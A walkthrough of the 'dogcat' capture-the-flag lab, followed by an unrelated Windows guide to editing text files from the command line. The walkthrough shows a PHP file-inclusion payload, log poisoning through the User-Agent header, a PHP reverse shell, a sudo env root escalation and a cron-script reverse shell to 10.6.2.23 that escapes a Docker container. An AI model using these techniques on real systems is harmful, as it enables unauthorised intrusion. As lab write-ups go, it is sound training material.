PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== 

Let’s save this string as a file named “string”. Then we can use the command “cat string | base64 -d” to decrypt this string and view it as raw HTML code.

Reading over this HTML code, we can see that the file extension can be set!

If the user doesn’t specify the extension, the default will be .php. This means that we can add “&ext=” to the end of our web address to avoid the .php extension from being added.

In order for it to properly display our request, we need to include the word “dog” or “cat” in the address.

Let’s dive in with burpsuite and start intercepting and modifying requests.

Here is our order of steps for us to get our initial foothold on the target machine:

  1. Create a PHP reverse shell
  2. Start up our netcat listener
  3. Use burp to intercept and modify the web request. Wait until later to click “forward”.
  4. Spin up a simple HTTP server with Python in the same directory as the PHP revshell.
  5. Click “forward” on burp to send the web request.
  6. Activate the shell by entering: $targetIP/bshell.php in the browser address
  7. Catch the revshell on netcat!

STEP 1

Let’s create a PHP pentest monkey revshell.

STEP 2

Let’s first start up a netcat listener on port 2222.

nc -lnvp 2222

STEP 3

Intercept the web request for the Apache2 log and modify the User-Agent field with a PHP code to request the shell.php code and rename it bshell.php on the target machine.

This will work only because upon examining the Apache2 logs, we noticed that the User-Agent field is unencoded and vulnerable to command injection. Make sure to wait to click forward until step 5.

STEP 4

We’ll spin up a simple python HTTP server in the same directory as our revshell to serve shell.php to our target machine via the modified web request we created in burpsuite.

STEP 5

Click forward on burp and check to see if code 200 came through for shell.php on the HTTP server.

STEP 6

We can activate the shell from our browser now and hopefully catch it as a revshell on our netcat listener.

STEP 7

We successfully caught it! Now we are in with our initial foothold!

INITIAL FOOTHOLD

LOCATE THE FIRST FLAG

Let’s grab the first flag. We can grab it from our browser again in base64, or via the command line from the revshell.

http://10.10.148.135/?view=php://filter/read=convert.base64-encode/resource=./dog/../flag
PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=

Now we can decode this string (saved as firstflag.txt) with base64:

base64 --decode firstflag.txt <?php
$flag_1 = "THM{Th—------------ommitted—-------fa}"
?>

LOCAL RECON

LOCATE THE SECOND FLAG

We manually enumerate the filesystem and discover the second flag at /var/www/flag2_QMW7JvaY2LvK.txt

Using the command find can help us quickly scan the filesystem for any files which contain the word “flag”.

find / -type f -name '*flag*' 2>/dev/null

We found the second flag in plaintext!

cat flag2_QMW7JvaY2LvK.txt
THM{LF—------------ommitted—-------fb}

CHECK SUDO PERMISSIONS

Let’s check out our sudo permissions with the command:

sudo -l
Matching Defaults entries for www-data on 26e23794a52b: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on 26e23794a52b: (root) NOPASSWD: /usr/bin/env

EXPLOIT/PRIVILEGE ESCALATION

Because we have sudo permissions without a password to run the env bin, we can easily become root with the command:

$ sudo env /bin/bash

Now we can verify that we are root with the command whoami.

GRAB THE THIRD FLAG 

cd /root
ls
flag3.txt
cat flag3.txt
THM{D1—------------ommitted—-------12}

POST-EXPLOITATION – BREAK OUT OF THE DOCKER CONTAINER

Let’s start up a new listener to catch the new bash shell outside of the container.

nc -lnvp 3333

We notice that there is a backup.sh that regularly runs on a schedule via cronjobs. We can hijack this file which is run by root outside of the docker container, by changing the contents to throw a revshell.

echo "#!/bin/bash">backup.sh;echo "bash -i>/dev/tcp/10.6.2.23/3333 0>&1">>backup.sh
flag4.txt
cat flag4.txt
THM{esc—------------ommitted—-------2d}

FINAL THOUGHTS

This box was a lot of fun. The bulk of the challenge was working towards gaining the initial foothold.

Once we secured a revshell, the rest of the box went pretty quickly.

The final step of breaking out of a docker container with a second revshell was the sneakiest part for me.

The PHP directory traversal and using a php filter to encode with base64 was also a cool way to evade the data sanitation measures in place on the backend. 

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5 Easy Ways to Edit a Text File From Command Line (Windows)

5/5 – (1 vote)

Problem Formulation

Given is a text file, say my_file.txt. How to modify its content in your Windows command line working directory?

I’ll start with the most direct method to solve this problem in 90% of cases and give a more “pure” in-terminal method afterward.

Method 1: Using Notepad

The easiest way to edit a text file in the command line (CMD) on your Windows machine is to run the command notepad.exe my_text_file.txt, or simply notepad my_text_file.txt, in your cmd to open the text file with the visual editor Notepad.

notepad.exe my_file.txt

You can also skip the .exe prefix in most cases:

notepad my_text_file.txt

Now, you may ask:

💡 Is Notepad preinstalled in any Windows installation? The answer is: yes! Notepad is a generic text editor to create, open, and read plaintext files and it’s included with all Windows versions.

Here’s how that looks on my Win 10 machine:

When I type in the command notepad.exe my_text_file.txt, CMD starts the Notepad visual editor in a new window.

I can then edit the file and hit CTRL + S to save the new contents.

But what if you cannot open a text editor—e.g. if you’re logged into a remote server via SSH?

Method 2: Pure CMD Approach

If you cannot open Notepad or other visual editors for some reason, a simple way to overwrite a text file with built-in Windows command line tools is the following:

  • Run the command echo 'your new content' > my_file.txt to print the new content using echo and pipe the output into the text file my_text_file.txt using >.
  • Check the new content using the command type my_text_file.txt.
C:\Users\xcent\Desktop>echo 'hello world' > my_file.txt
C:\Users\xcent\Desktop>type my_file.txt 'hello world'

Here’s what this looks like on my Windows machine, where I changed my_file.txt to contain the text 'hello world!':

This is a simple and straightforward approach to small changes. However, if you have a large file and you just want to edit some minor details, this is not the best way.

Method 3: Change File Purely In CMD (Copy Con)

If you need a full-fledged solution to edit potentially large files in your Windows CMD, use this method! 👇

To create a new file in Windows command prompt, enter copy con followed by the target file name (copy con my_file.txt). Then enter the text you want to put in the file. To end and save the file, press Ctrl+Z then Enter or F6 then Enter.

copy con my_file.txt

How this looks on my Win machine:

A couple of notes:

💡 Info: To edit an existing file, display the text by using the type command followed by the file name. Then copy and paste the text into the copy con command to make changes. Be careful not to make any typos, or you’ll have to start over again. Backspace works if you catch the mistake before pressing Enter. Note that this method may not work in PowerShell or other command line interfaces that don’t support this feature.

Method 4: If you SSH’d to a Unix Machine

Of course, if you have logged in a Unix-based machine, you don’t need to install any editor because it comes with powerful integrated editors such as vim or emacs.

One of the following three commands should open your file in a terminal-based editing mode:

vim my_text_file.txt
vi my_text_file.txt
emacs my_text_file.txt

You can learn more about Vim here.

Summary

To edit a file.txt in the command line, use the command notepad file.txt to open a graphical editor on Windows.

If you need a simple file edit in your terminal without a graphical editor and without installation, you can use the command echo 'new content' > file.txt that overwrites the old content in file.txt with new content.

If you need a more direct in-CMD text editor run copy con file.txt to open the file in editing mode.

If you’re SSH’d into a Unix machine, running the Vim console-based editor may be the best idea. Use vim file.txt or vi file.txt to open it.

Feel free to join our email coding academy (it’s free):

👉 Recommended: How to Edit a Text File in PowerShell (Windows)